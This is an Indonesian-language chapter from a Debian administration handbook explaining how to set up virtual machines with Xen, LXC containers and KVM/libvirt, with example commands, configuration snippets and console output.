Karena Jessie didasarkan pada kernel Linux versi 3.16, paket-paket standar linux-image-686-pae dan linux-image-amd64 menyertakan kode yang diperlukan, dan patch spesifik distribusi yang diperlukan untuk Squeeze dan versi sebelumnya dari Debian tidak diperlukan lagi.

→ https://wiki.xenproject.org/wiki/Xen_Kernel_Feature_Matrix

BUDAYA Xen dan kernel bukan Linux

Xen memerlukan modifikasi ke semua sistem operasi yang ingin berjalan di atasnya; tidak semua kernel memiliki tingkat kedewasaan yang sama dalam hal ini. Banyak yang fungsional-penuh, baik sebagai dom0 maupun domU: Linux 3.0 dan setelahnya, NetBSD 4.0 dan setelahnya, dan OpenSolaris. Yang lain hanya bekerja sebagai domU. Anda dapat memeriksa status dari setiap sistem operasi di wiki Xen:

→ https://wiki.xenproject.org/wiki/Dom0_Kernels_for_Xen

→ https://wiki.xenproject.org/wiki/DomU_Support_for_Xen

Namun, jika Xen dapat bergantung pada fungsi perangkat keras yang didedikasikan untuk virtualisasi (yang hanya hadir dalam prosesor yang lebih baru), bahkan sistem operasi tanpa modifikasi dapat berjalan sebagai domU (termasuk Windows).

CATATAN Arsitektur yang kompatibel dengan Xen

Xen saat ini hanya tersedia untuk arsitektur i386, amd64, arm64, dan armhf.

Menggunakan Xen di bawah Debian memerlukan tiga komponen:

- Hypervisor itu sendiri. Tergantung dari perangkat keras yang tersedia, paket yang tepat adalah xen-hypervisor-4.11-amd64, xen-hypervisor-4.11-armhf, atau xen-hypervisor-4.11-arm64.

- Sebuah kernel yang berjalan pada hypervisor itu. Setiap kernel yang lebih baru daripada 3.0 bisa, termasuk versi 4.19 yang ada dalam Buster.

- Arsitektur i386 juga memerlukan pustaka standar dengan patch yang sesuai yang mengambil keuntungan dari Xen; ini ada dalam paket libc6-xen.

Hypervisor juga membawa xen-utils-4.11, yang berisi alat untuk mengontrol hypervisor dari dom0. Hal ini pada gilirannya membawa pustaka standar yang sesuai. Selama instalasi dari semua itu, skrip konfigurasi juga membuat entri baru dalam menu bootloader GRUB, untuk memulai kernel pilihan di dom0 Xen. Namun perlu dicatat bahwa entri ini tidak biasanya diatur untuk menjadi yang pertama dalam daftar, tapi akan dipilih secara default.

Setelah prapersyaratan ini diinstal, langkah berikutnya adalah untuk menguji perilaku dom0 sendiri; ini melibatkan reboot hypervisor dan kernel Xen. Sistem harus boot dalam cara standar, dengan beberapa tambahan pesan pada konsol selama langkah inisialisasi awal.

Sekarang adalah waktu untuk benar-benar menginstal sistem yang berguna pada sistem domU, menggunakan alat-alat dari xen-tools. Paket ini menyediakan perintah xen-create-image, yang mengotomatiskan sebagian besar tugas. Satu-satunya parameter wajib adalah --hostname, yang memberikan nama kepada domU; pilihan lainnya penting, tetapi mereka dapat disimpan dalam berkas konfigurasi /etc/xen-tools/xen-tools.conf dan ketidakhadiran mereka dari baris perintah tidak memicu kesalahan. Karena itu penting untuk memeriksa isi dari berkas ini sebelum membuat image, atau menggunakan parameter tambahan dalam pemanggilan xen-create-image. Parameter yang penting untuk diperhatikan adalah sebagai berikut:

- --memory, untuk menentukan banyaknya RAM yang didedikasikan bagi sistem yang baru dibuat;

- --size dan --swap, untuk menentukan ukuran "disk virtual" yang tersedia bagi domU;

- --debootstrap-cmd, untuk menyatakan perintah debootstrap mana yang dipakai. Bakunya adalah debootstrap bila debootstrap dan cdebootstrap dipasang. Dalam hal ini, opsi --dist akan juga seringkali digunakan (dengan nama distribusi seperti misalnya buster).
LEBIH JAUH Memasang sistem bukan-Debian di domU

Dalam hal non-Linux sistem, perlu hati-hati untuk mendefinisikan kernel yang mesti dipakai oleh domU, menggunakan opsi --kernel.

- --dhcp menyatakan bahwa konfigurasi jaringan domU harus diperoleh dengan DHCP sedangkan --ip memungkinkan menentukan alamat IP statis.

- Terakhir, metode penyimpanan harus dipilih untuk image yang akan dibuat (yang akan dipandang sebagai hard disk drive dari domU). Metode paling sederhana, sesuai dengan pilihan --dir, adalah untuk menciptakan satu berkas pada dom0 untuk setiap perangkat yang harus disediakan oleh domU. Untuk sistem yang menggunakan LVM, alternatifnya adalah dengan menggunakan pilihan --lvm, diikuti oleh nama grup volume; xen-create-image kemudian akan menciptakan volume logis baru di dalam grup, dan volume logis ini akan dibuat tersedia bagi domU sebagai hard disk drive.
CATATAN Penyimpanan di domU

Seluruh hard disk dapat juga diekspor ke domU, maupun partisi, larik RAID, atau volume logis LVM yang sudah ada sebelumnya. Namun operasi ini tidak diotomatiskan oleh xen-create-image, jadi perlu menyunting berkas konfigurasi image Xen setelah penciptaan awal dengan xen-create-image.

Setelah pilihan ini dibuat, kita dapat membuat image untuk domU Xen kita nanti:

# xen-create-image --hostname testxen --dhcp --dir /srv/testxen --size=2G --dist=buster --role=udev

[...]

General Information

--------------------

Hostname       :  testxen

Distribution   :  buster

Mirror         :  http://deb.debian.org/debian

Partitions     :  swap            512M  (swap)

/               2G    (ext4)

Image type     :  sparse

Memory size    :  256M

Kernel path    :  /boot/vmlinuz-4.19.0-5-amd64

Initrd path    :  /boot/initrd.img-4.19.0-5-amd64

[...]

Logfile produced at:

/var/log/xen-tools/testxen.log

Installation Summary

---------------------

Hostname        :  testxen

Distribution    :  buster

MAC Address     :  00:16:3E:0C:74:2F

IP Address(es)  :  dynamic

SSH Fingerprint :  SHA256:PuAGX4/4S07Xzh1u0Cl2tL04EL5udf9ajvvbufBrfvU (DSA)

SSH Fingerprint :  SHA256:ajFTX54eakzolyzmZku/ihq/BK6KYsz5MewJ98BM5co (ECDSA)

SSH Fingerprint :  SHA256:/sFov86b+rD/bRSJoHKbiMqzGFiwgZulEwpzsiw6aSc (ED25519)

SSH Fingerprint :  SHA256:/NJg/CcoVj+OLE/cL3yyJINStnla7YkHKe3/xEdVGqc (RSA)

Root Password   :  EwmQMHtywY9zsRBpqQuxZTb

Kita sekarang memiliki mesin virtual, tetapi saat ini tidak berjalan (dan karena itu hanya menggunakan ruang hard disk dom0). Tentu saja, kita dapat membuat lebih banyak image, mungkin dengan parameter yang berbeda.

Sebelum menyalakan mesin virtual ini, kita perlu menentukan bagaimana mereka akan diakses. Mereka tentu saja dapat dianggap mesin terisolasi, hanya diakses melalui konsol sistem mereka, tapi ini jarang cocok dengan pola penggunaan. Sebagian besar waktu, domU akan dianggap sebagai server jarak jauh, dan diakses hanya melalui jaringan. Namun, itu akan kurang nyaman untuk menambahkan kartu jaringan bagi setiap domU; itulah sebabnya Xen memungkinkan menciptakan antarmuka virtual, yang bisa dilihat dan digunakan dengan cara yang standar oleh setiap domain. Perhatikan bahwa kartu ini, meskipun mereka virtual, akan hanya menjadi berguna setelah terhubung ke jaringan, bahkan yang virtual. Xen memiliki beberapa model jaringan untuk itu:

- Model yang paling sederhana adalah model bridge; semua kartu jaringan eth0 (baik dalam dom0 dan sistem domU) bersikap seolah-olah mereka secara langsung terhubung ke switch Ethernet.

- Kemudian ada model routing, dimana dom0 berperilaku sebagai router yang berdiri di antara sistem domU dan jaringan eksternal (fisik).

- Akhirnya, dalam model NAT, dom0 lagi-lagi berada di antara sistem domU dan sisa jaringan, tetapi sistem domU tidak langsung dapat diakses dari luar, dan lalu lintas berjalan melalui perjemahan alamat jaringan pada dom0.

Ketiga simpul jaringan ini melibatkan sejumlah antarmuka dengan nama-nama yang tidak biasa, seperti vif*, veth*, peth*, dan xenbr0. Hypervisor Xen mengatur mereka sesuai tata letak yang telah didefinisikan, di bawah kontrol perkakas pengguna. Karena NAT dan model routing hanya disesuaikan dengan kasus-kasus tertentu, kami hanya akan membahas model bridge.

Konfigurasi standar dari paket Xen tidak mengubah konfigurasi sistem jaringan. Namun, daemon xend dikonfigurasi untuk mengintegrasikan jaringan antarmuka virtual ke jaringan bridge apapun yang sudah ada sebelumnya (dengan xenbr0 didahulukan jika ada beberapa bridge). Kami karena itu harus menyiapkan sebuah bridge di /etc/network/interfaces (yang memerlukan instalasi paket bridge-utils, itulah sebabnya paket xen-utils-4.11 merekomendasikan itu) untuk menggantikan entri eth0 yang sudah ada:

auto xenbr0

iface xenbr0 inet dhcp

bridge_ports eth0

bridge_maxwait 0

Setelah reboot untuk memastikan bridge secara otomatis dibuat, kita sekarang dapat memulai domU dengan perkakas kendali Xen, khususnya perintah xl. Perintah ini memungkinkan manipulasi yang berbeda pada domain, termasuk menampilkan daftar mereka dan, memulai/menghentikan mereka. Anda mungkin perlu menaikkan memori default dengan menyunting memori variabel dari berkas konfigurasi (dalam kasus ini, /etc/xen/testxen.cfg). Di sini kami telah mengaturnya ke 1024 (megabyte).

# xl list

Name                                        ID   Mem VCPUs State Time(s)

Domain-0                                     0  1894     2     r-----      63.5

# xl create /etc/xen/testxen.cfg

Parsing config from /etc/xen/testxen.cfg

# xl list

Name                                        ID   Mem VCPUs State Time(s)

Domain-0                                     0  1505     2     r-----     100.0

testxen                                     13  1024     0     --p---       0.0

PERKAKAS Pilihan kumpulan perkakas untuk mengelola VM Xen

Pada Debian 7 dan rilis yang lebih tua, xm adalah perkakas baris perintah acuan yang digunakan untuk mengelola mesin virtual Xen. Itu sekarang telah digantikan oleh xl yang umumnya kompatibel mundur. Tetapi bukan hanya mereka alat yang tersedia: virsh dari libvirt dan xe dari XenServer XAPI (produk komersial Xen) adalah alat-alat alternatif.

HATI-HATI Hanya satu domU per image!

Meskipun tentu mungkin untuk memiliki beberapa sistem domU yang berjalan secara paralel, mereka semua perlu untuk menggunakan image mereka sendiri, karena setiap domU dibuat percaya ini berjalan pada perangkat keras sendiri (terlepas dari sepotong kecil kernel yang berbicara kepada hypervisor). Secara khusus, tidak mungkin bagi dua sistem domU berjalan bersamaan untuk berbagi ruang penyimpanan. Jika sistem domU tidak berjalan pada saat yang sama, sangat mungkin untuk menggunakan kembali satu partisi swap, atau partisi yang mewadahi sistem berkas /home.

Perhatikan bahwa domU testxen menggunakan memori nyata yang diambil dari RAM yang bila tidak demikian, tidak akan tersedia bagi dom0, bukan memori yang tersimulasi. Karena itu perlu hati-hati ketika membangun sebuah server yang dimaksudkan untuk mewadahi instansi Xen, untuk menyediakan RAM fisik yang sesuai.

Voilà! Mesin virtual kami memulai. Kita dapat mengaksesnya dengan satu dari dua mode. Cara yang biasa adalah untuk menyambung "jarak jauh" melalui jaringan, seperti kita akan menyambung ke mesin nyata; ini biasanya akan memerlukan mendirikan penyiapan server DHCP atau beberapa konfigurasi DNS. Cara lain, yang mungkin satu-satunya cara jika konfigurasi jaringan salah, adalah dengan menggunakan konsol hvc0, dengan perintah xl console:

# xl console testxen

[...]

Debian GNU/Linux 10 testxen hvc0

testxen login:

Kita kemudian dapat membuka sesi, seperti yang orang akan lakukan jika duduk di papan ketik mesin virtual. Melepaskan dari konsol ini dicapai melalui kombinasi tombol Control+].

TIPS Mendapatkan konsol langsung

Kadang-kadang kita berharap untuk memulai sistem domU dan langsun mendapatkan konsol; inilah sebabnya mengapa perintah xl create menerima opsi -c. Memulai domU dengan switch ini akan menampilkan semua pesan ketika sistem boot.

ALAT OpenXenManager

OpenXenManager (dalam paket openxenmanager) adalah antarmuka grafis yang memungkinkan manajemen domain Xen jarak jauh melalui API Xen. Itu dapat mengontrol domain Xen dari jauh. Itu menyediakan sebagian besar fitur dari perintah xl.

Setelah domU hidup, itu dapat digunakan seperti server lain (karena itu adalah sistem GNU/Linux juga). Namun, status mesin virtual memungkinkan beberapa fitur tambahan. Sebagai contoh, domU dapat diistirahatkan sementara kemudian dilanjutkan kembali, dengan perintah xl pause dan xl unpause. Perhatikan bahwa meskipun domU yang diistirahatkan tidak menggunakan prosesor apapun, memori yang dialokasikan masih digunakan. Mungkin menarik untuk mempertimbangkan perintah xl save dan xl restore: menyimpan domU membebaskan sumber daya yang sebelumnya digunakan oleh domU ini, termasuk RAM. Ketika dipulihkan (atau dilanjutkan kembali), domU bahkan tidak melihat apapun selain berlalunya waktu. Jika domU sedang berjalan ketika dom0 dimatikan, skrip yang dikemas secara otomatis menyimpan domU, dan memulihkannya pada boot berikutnya. Ini tentu saja akan melibatkan ketidaknyamanan standar yang timbul ketika menhibernasi komputer laptop misalnya; khususnya, jika domU disuspensi terlalu lama, koneksi jaringan mungkin berakhir. Perhatikan juga bahwa Xen sejauh ini tidak kompatibel dengan sebagian besar manajemen daya ACPI, yang menghalangi mensuspensi sistem host (dom0).

DOKUMENTASI Opsi-opsi xl

Sebagian besar sub perintah xl mengharapkan satu atau lebih argumen, sering kali nama domU. Argumen ini dijelaskan dengan baik dalam halaman manual xl(1).

Menghentikan atau reboot domU dapat dilakukan baik dari dalam domU (dengan perintah shutdown) atau dari dom0, dengan xl shutdown atau xl reboot.

LEBIH JAUH Xen tingkat lanjut

Xen memiliki lebih banyak fitur daripada yang dapat kita gambarkan dalam beberapa paragraf ini. Secara khusus, sistem ini sangat dinamis, dan banyak parameter untuk satu domain (seperti banyaknya memori yang dialokasikan, hard drive yang terlihat, perilaku penjadwal tugas, dan sebagainya) dapat disesuaikan bahkan ketika domain tersebut sedang berjalan. DomU bahkan dapat dimigrasi lintas server tanpa dimatikan, dan tanpa kehilangan koneksi jaringannya! Untuk semua aspek canggih ini, sumber utama informasi adalah dokumentasi Xen resmi.

→ https://xenproject.org/help/documentation/

12.2.2. LXC

Meskipun hal ini digunakan untuk membangun "mesin virtual", LXC bukanlah, secara tegas, suatu sistem virtualisasi, tetapi sebuah sistem untuk mengisolasi kelompok proses dari satu sama lain meskipun mereka semua berjalan pada host yang sama. Ini memanfaatkan evolusi baru-baru ini pada kernel Linux, yang secara kolektif dikenal sebagai grup kendali, dimana set proses yang disebut "grup" yang berbeda memiliki pandangan yang berbeda atas aspek-aspek tertentu dari sistem secara keseluruhan. Paling menonjol di antara aspek-aspek ini adalah pengidentifikasi proses, konfigurasi jaringan, dan titik kait. Sebuah kelompok proses terisolasi tidak akan memiliki akses ke proses lain dalam sistem, dan aksesnya ke sistem berkas dapat dibatasi ke subset spesifik. Itu dapat juga memiliki antarmuka jaringan dan tabel routing sendiri, dan mungkin dikonfigurasi untuk hanya melihat subset dari perangkat yang tersedia yang ada pada sistem.

Fitur ini dapat dikombinasikan untuk mengisolasi keluarga seluruh proses yang dimulai dari proses init, dan kumpulan yang dihasilkan terlihat sangat mirip dengan mesin virtual. Nama resmi untuk penyiapan seperti itu adalah "container" (maka moniker LXC: LinuX Containers), tapi perbedaan yang cukup penting dengan mesin virtual "nyata" seperti yang disediakan oleh Xen atau KVM adalah bahwa tidak ada kernel kedua; container menggunakan kernel yang sama dengan sistem host. Ini memiliki pro dan kontra: keuntungannya termasuk kinerja yang sangat baik karena total ketiadaan overhead, dan fakta bahwa kernel memiliki visi global dari semua proses yang berjalan pada sistem, sehingga penjadwalan dapat menjadi lebih efisien daripada jika dua kernel independen yang menjadwalkan set tugas yang berbeda. Paling utama di antara ketidaknyamanan adalah ketidakmungkinan untuk menjalankan sebuah kernel yang berbeda dalam container (apakah versi Linux yang berbeda atau sistem operasi yang berbeda sama sekali).

CATATAN Batas isolasi LXC

Container LXC tidak memberikan tingkat isolasi yang dicapai oleh emulator atau virtualizers yang lebih berat. Khususnya:

- karena kernel dipakai bersama antara sistem host dan container, proses yang dibatasi ke container masih dapat mengakses pesan kernel, yang dapat menyebabkan kebocoran informasi jika pesan dipancarkan oleh kontainer;

- untuk alasan yang sama, jika sebuah container terganggu dan kerentanan kernel dieksploitasi, container lain mungkin akan terpengaruh juga;

- pada sistem berkas, kernel memeriksa izin menurut pengenal numerik untuk pengguna dan kelompok; pengidentifikasi ini dapat menetapkan pengguna dan kelompok yang berbeda tergantung pada container tersebut, yang harus diingat jika bagian-bagian yang dapat ditulisi dari sistem berkas dipakai bersama diantara wadah.

Karena kita berhadapan dengan isolasi dan virtualisasi yang tidak polos, menyiapkan container LXC lebih kompleks daripada hanya menjalankan debian-installer pada mesin virtual. Kami akan menjelaskan beberapa prasyarat, kemudian pergi ke konfigurasi jaringan; kami kemudian akan dapat benar-benar membuat sistem untuk dijalankan dalam container.

12.2.2.1. Langkah Pendahuluan

Paket lxc berisi alat-alat yang diperlukan untuk menjalankan LXC, dan karenanya harus dipasang.

LXC juga memerlukan sistem konfigurasi control group, yang berupa sistem berkas virtual untuk dipasang pada /sys/fs/cgroup. Karena Debian 8 beralih ke systemd, yang juga bergantung pada control group, hal ini sekarang dilakukan secara otomatis saat boot tanpa konfigurasi lebih lanjut.

12.2.2.2. Konfigurasi Jaringan

Tujuan dari memasang LXC adalah untuk menyiapkan mesin virtual; walaupun tentu saja kita bisa menjaga mereka terisolasi dari jaringan, dan hanya berkomunikasi dengan mereka melalui sistem berkas, penggunaan umumnya memberikan setidaknya akses jaringan minimum ke container. Dalam kasus yang tipikal, masing-masing akan mendapatkan antarmuka jaringan virtual, yang terhubung ke jaringan nyata melalui sebuah bridge. Antarmuka virtual ini dapat dipasang langsung ke antarmuka jaringan fisik host (dalam hal ini container langsung berada pada jaringan) atau ke antarmuka virtual lain yang didefinisikan pada host (dan host kemudian dapat menyaring atau mengarahkan lalu lintas). Dalam kedua kasus, paket bridge-utils akan diperlukan.

Kasus sederhana ini hanya sekadar menyunting /etc/network/interfaces, memindah konfigurasi untuk antarmuka fisik (misalnya, eth0) ke antarmuka bridge (biasanya br0) dan mengkonfigurasi link antara mereka. Misalnya, jika berkas konfigurasi antarmuka jaringan pada awalnya berisi entri seperti berikut:

auto eth0

iface eth0 inet dhcp

Mereka harus dinonaktifkan dan diganti dengan yang berikut:

#auto eth0

#iface eth0 inet dhcp

auto br0

iface br0 inet dhcp

bridge-ports eth0

Efek dari konfigurasi ini akan mirip dengan apa yang dapat diperoleh jika container itu adalah mesin yang terhubung ke jaringan fisik yang sama seperti host. Konfigurasi "jbridge" mengelola transit dari frame-frame Ethernet antara semua antarmuka yang dijembatani, yang mencakup fisik eth0 maupun antarmuka yang didefinisikan untuk container.

Dalam kasus-kasus yang mana konfigurasi ini tidak dapat digunakan (misalnya, jika tidak ada alamat IP publik dapat diberikan ke container), antarmuka virtual tap akan dibuat dan terhubung dengan bridge. Topologi jaringan kemudian menjadi suatu host dengan kartu jaringan kedua yang ditancapkan ke sebuah switch yang terpisah, dengan container juga dicolokkan ke switch itu. Host kemudian mesti bertindak sebagai sebuah gateway untuk container jika mereka dimaksudkan untuk berkomunikasi dengan dunia luar.

Selain bridge-utils, konfigurasi "kaya" ini memerlukan paket vde2; berkas /etc/network/interfaces kemudian menjadi:

# Interface eth0 is unchanged

auto eth0

iface eth0 inet dhcp

# Virtual interface

auto tap0

iface tap0 inet manual

vde2-switch -t tap0

# Bridge for containers

auto br0

iface br0 inet static

bridge-ports tap0

address 10.0.0.1

netmask 255.255.255.0

Jaringan kemudian dapat diatur baik secara statis dalam container, atau secara dinamis dengan server DHCP yang berjalan pada host. Server DHCP tersebut perlu dikonfigurasi untuk menjawab pertanyaan pada antarmuka br0.

12.2.2.3. Menyiapkan Sistem

Mari kita sekarang menyiapkan sistem berkas yang akan digunakan oleh container. Karena "mesin virtual" ini tidak akan berjalan secara langsung pada perangkat keras, beberapa tweak diperlukan bila dibandingkan dengan sistem berkas standar, terutama bila menyangkut kernel, perangkat, dan konsol. Untungnya, lxc menyertakan skrip yang kebanyakan mengotomatisasi konfigurasi ini. Sebagai contoh, perintah berikut (yang membutuhkan debootstrap dan rsync paket) akan menginstal sebuah container Debian:

root@mirwiz:~# lxc-create -n testlxc -t debian

debootstrap is /usr/sbin/debootstrap

Checking cache download in /var/cache/lxc/debian/rootfs-stable-amd64 ...

Downloading debian minimal ...

I: Retrieving Release

I: Retrieving Release.gpg

[...]

Download complete.

Copying rootfs to /var/lib/lxc/testlxc/rootfs...

[...]

root@mirwiz:~#

Perhatikan bahwa sistem berkas awalnya dibuat di /var/cache/lxc, kemudian dipindah ke direktori tujuannya. Hal ini memungkinkan membuat container-container identik secara jauh lebih cepat, karena kemudian hanya perlu menyalin.

Perhatikan bahwa skrip penciptaan templat Debian menerima pilihan --arch untuk menentukan arsitektur sistem yang akan diinstal dan pilihan --release jika Anda ingin menginstal sesuatu yang lain daripada rilis stabil Debian. Anda juga dapat menetapkan variabel lingkungan MIRROR untuk menunjuk ke mirror Debian lokal.

Sistem berkas yang baru dibuat sekarang berisi sistem Debian yang minimal, dan secara default container tidak memiliki antarmuka jaringan (selain loopback). Karena ini tidak benar-benar diinginkan, kita akan menyunting berkas konfigurasi container (/var/lib/lxc/testlxc/config) dan menambahkan beberapa entri lxc.network.*:

lxc.net.0.type = veth

lxc.net.0.flags = up

lxc.net.0.link = br0

lxc.net.0.hwaddr = 4a:49:43:49:79:20

Entri ini berarti, masing-masing, bahwa suatu antarmuka virtual akan dibuat di dalam container; bahwa itu akan secara otomatis dihidupkan ketika container dimulai; itu akan secara otomatis terhubung ke bridge br0 pada host; dan bahwa alamat MAC-nya akan seperti yang ditentukan. Bila entri terakhir ini hilang atau dinonaktifkan, alamat MAC acak akan dibuat.

Entri lain yang berguna dalam berkas itu adalah pengaturan nama host:

lxc.uts.name = testlxc

12.2.2.4. Memulai Container

Sekarang setelah image mesin virtual kita sudah siap, mari kita mulai container dengan lxc-start --daemon --name=testlxc.

Dalam rilis LXC setelah 2.0.8, sandi root tidak ditetapkan secara default. Kita dapat mengaturnya dengan menjalankan lxc-attach -n testlxc sandi. Sekarang kita bisa login:

root@mirwiz:~# lxc-console -n testlxc

Debian GNU/Linux 9 testlxc console

testlxc login: root

Password:

Linux testlxc 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5 (2019-06-19) x86_64

The programs included with the Debian GNU/Linux system are free software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent

permitted by applicable law.

root@testlxc:~# ps auxwf

USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND

root         1  0.0  0.2  56736  6608 ?        Ss   09:28   0:00 /sbin/init

root        32  0.0  0.1  46096  4680 ?        Ss   09:28   0:00 /lib/systemd/systemd-journald

root        75  0.0  0.1  67068  3328 console  Ss   09:28   0:00 /bin/login --

root        82  0.0  0.1  19812  3664 console  S    09:30   0:00  \_ -bash

root        88  0.0  0.1  38308  3176 console  R+   09:31   0:00      \_ ps auxwf

root        76  0.0  0.1  69956  5636 ?        Ss   09:28   0:00 /usr/sbin/sshd -D

root@testlxc:~#

Kita sekarang berada di dalam container; akses kita ke proses dibatasi ke hanya yang dimulai dari container itu sendiri, dan akses kita ke sistem berkas juga dibatasi ke subset yang terdedikasi dari sistem berkas penuh (/var/lib/lxc/testlxc/rootfs). Kita dapat keluar dari konsol dengan Kontrol+a q.

Perhatikan bahwa kita menjalankan container sebagai proses latar belakang, terima kasih kepada pilihan --daemon dari lxc-start. Kita dapat menginterupsi container dengan perintah seperti lxc-stop --name=testlxc.

Paket lxc berisi skrip inisialisasi yang dapat secara otomatis memulai satu atau beberapa container ketika host mem-boot (bergantung pada lxc-autostart yang memulai container yang opsi lxc.start.auto diberi nilai 1). Kontrol urutan startup yang lebih baik dimungkinkan dengan lxc.start.order dan lxc.group: secara default, skrip inisialisasi pertama-tama memulai container yang merupakan bagian dari grup onboot dan kemudian container yang bukan bagian dari grup manapun. Dalam kedua kasus, urutan dalam grup ditentukan oleh opsi lxc.start.order.

LEBIH JAUH Virtualisasi masal

Karena LXC adalah sebuah sistem isolasi yang sangat ringan, itu dapat diadaptasi untuk hosting besar-besaran dari server-server virtual. Konfigurasi jaringan mungkin akan sedikit lebih lanjut dari apa yang dijelaskan di atas, tetapi konfigurasi "kaya" menggunakan antarmuka tap dan veth mestinya cukup untuk banyak kasus.

Mungkin juga masuk akal untuk berbagi bagian dari sistem berkas, seperti sub pohon /usr dan /lib, untuk menghindari duplikasi perangkat lunak yang mungkin perlu sama untuk beberapa container. Ini biasanya akan dicapai dengan entri lxc.mount.entry di berkas konfigurasi container. Efek samping yang menarik adalah bahwa proses kemudian akan menggunakan memori fisik yang lebih kecil, karena kernel mampu mendeteksi bahwa program dipakai bersama. Biaya marjinal dari satu container tambahan kemudian dikurangi menjadi ruang disk yang didedikasikan untuk data tertentu, dan beberapa proses tambahan yang harus dijadwalkan dan dikelola oleh kernel.

Kami tentu saja belum menguraikan semua pilihan yang tersedia; informasi lebih lengkap dapat diperoleh dari halaman manual lxc(7) dan lxc.container.conf(5) dan yang mereka acu.

12.2.3. Virtualisasi dengan KVM

KVM, kependekan dari Kernel-based Virtual Machine, adalah pertama dan terutama sebuah modul kernel yang menyediakan sebagian besar infrastruktur yang dapat digunakan oleh virtualizer, tetapi bukan virtualizer itu sendiri. Kontrol aktual untuk virtualisasi ditangani oleh sebuah aplikasi berbasis QEMU. Jangan khawatir jika bagian ini menyebutkan perintah qemu-*: itu masih tentang KVM.

Tidak seperti sistem virtualisasi lain, KVM digabungkan ke kernel Linux sejak dari awal. Para pengembangnya memilih untuk mengambil keuntungan dari set instruksi prosesor yang didedikasikan untuk virtualisasi (Intel-VT dan AMD-V), yang menjaga KVM ringan, elegan, dan tidak boros sumber daya. Kekurangannya, tentu saja, adalah bahwa KVM tidak bekerja pada sebarang komputer tetapi hanya pada yang memiliki prosesor yang sesuai. Untuk komputer berbasis x86, Anda dapat memastikan bahwa Anda memiliki prosesor seperti itu dengan mencari "vmx" atau "svm" di bendera CPU yang tercantum dalam /proc/cpuinfo.

Dengan Red Hat secara aktif mendukung perkembangannya, KVM kurang lebih telah menjadi acuan untuk virtualisasi Linux.

12.2.3.1. Langkah Pendahuluan

Tidak seperti alat-alat semacam VirtualBox, KVM itu sendiri tidak menyertakan antarmuka pengguna untuk membuat dan mengelola mesin virtual. Paket qemu-kvm hanya menyediakan program yang bisa memulai sebuah mesin virtual, serta skrip inisialisasi yang memuat modul-modul kernel yang sesuai.

Untungnya, Red Hat juga menyediakan satu set alat lain untuk mengatasi masalah itu, dengan mengembangkan perpustakaan libvirt dan alat-alat manajer mesin virtual terkait. Libvirt memungkinkan mengelola mesin virtual dalam cara yang seragam, secara independen dari sistem virtualisasi yang terlibat di balik layar (saat ini mendukung QEMU, KVM, Xen, LXC, OpenVZ, VirtualBox, VMWare, dan UML). virtual-manager adalah sebuah antarmuka grafis yang menggunakan libvirt untuk membuat dan mengelola mesin virtual.

Kita pertama kali menginstal paket-paket yang diperlukan, dengan apt-get install libvirt-clients libvirt-daemon-system qemu-kvm virtinst virt-manager virt-viewer. libvirt-daemon-system menyediakan daemon libvirtd, yang memungkinkan manajemen mesin virtual (berpotensi remote) yang berjalan pada host, dan memulai VM yang diperlukan ketika host boot. libvirt-clients menyediakan alat bantu baris perintah virsh, yang memungkinkan mengendalikan mesin-mesin yang dikelola oleh libvirtd.

Paket virtinst menyediakan virt-install, yang memungkinkan membuat mesin virtual dari baris perintah. Terakhir, virt-viewer memungkinkan mengakses sebuah konsol grafis VM.

12.2.3.2. Konfigurasi Jaringan

Sama seperti Xen dan LXC, konfigurasi jaringan yang paling sering melibatkan bridge yang mengelompokkan antarmuka jaringan mesin virtual (lihat Bagian 12.2.2.2, “Konfigurasi Jaringan”).

Sebagai alternatif, dan dalam konfigurasi default yang disediakan oleh KVM, mesin virtual diberikan alamat pribadi (di kisaran 192.168.122.0/24), dan NAT diatur sehingga VM dapat mengakses jaringan luar.

Sisa bagian ini mengasumsikan bahwa host memiliki antarmuka fisik eth0 dan bridge br0, dan bahwa yang terdahulu terhubung ke yang terakhir.

12.2.3.3. Instalasi dengan virt-install

Membuat mesin virtual sangat mirip dengan menginstal sistem normal, kecuali bahwa karakteristik mesin virtual dijelaskan dalam baris perintah yang tampaknya tak berujung.

Secara praktis, ini berarti kita akan menggunakan installer Debian, dengan mem-boot mesin virtual pada drive DVD-ROM virtual yang memetakan ke image DVD Debian yang tersimpan di sistem host. VM akan mengekspor konsol grafisnya lewat protokol VNC (lihat Bagian 9.2.2, “Memakai Desktop Grafis Jarak Jauh” untuk rincian), yang akan memungkinkan kita untuk mengontrol proses instalasi.

Pertama kita perlu memberitahu libvirtd di mana tempat menyimpan image disk, kecuali bila lokasi default (/var/lib/libvirt/images/) baik-baik saja.

root@mirwiz:~# mkdir /srv/kvm

root@mirwiz:~# virsh pool-create-as srv-kvm dir --target /srv/kvm

Pool srv-kvm created

root@mirwiz:~#

TIPS Menambahkan pengguna Anda ke grup libvirt

Semua contoh dalam bagian ini mengasumsikan bahwa Anda menjalankan perintah sebagai root. Secara efektif, jika Anda ingin mengontrol daemon libvirt lokal, Anda perlu untuk menjadi root atau menjadi anggota dari kelompok libvirt (yang tidak terjadi secara default). Jadi jika Anda ingin menghindari menggunakan hak root terlalu sering, Anda dapat menambahkan diri Anda sendiri ke grup libvirt dan menjalankan berbagai perintah di bawah identitas pengguna Anda.

Mari kita sekarang mulai proses instalasi untuk mesin virtual, dan melihat lebih dekat pada pilihan-pilihan virt-install yang paling penting. Perintah ini mendaftarkan mesin virtual dan parameternya di libvirtd, kemudian memulainya sehingga instalasi dapat dilanjutkan.

# virt-install --connect qemu:///system

--virt-type kvm

--name testkvm

--memory 1024

--disk /srv/kvm/testkvm.qcow,format=qcow2,size=10

--cdrom /srv/isos/debian-10.2.0-amd64-netinst.iso

--network bridge=virbr0

--graphics vnc

--os-type linux

--os-variant debian10

Starting install...

Allocating 'testkvm.qcow'             |  10 GB     00:00

Opsi --connect menyatakan"hypervisor" yang akan dipakai. Bentuknya adalah URL yang memuat sistem virtualisasi (xen://, qemu://, lxc://, openvz://, vbox://, dan seterusnya) dan mesin yang harus menjadi host VM (ini dapat dibiarkan kosong dalam kasus hosting lokal). Selain itu, dan dalam kasus QEMU/KVM, setiap pengguna dapat mengelola mesin virtual yang bekerja dengan izin terbatas, dan path URL memungkinkan membedakan mesin "sistem" (/system) dari (/session) yang lain.

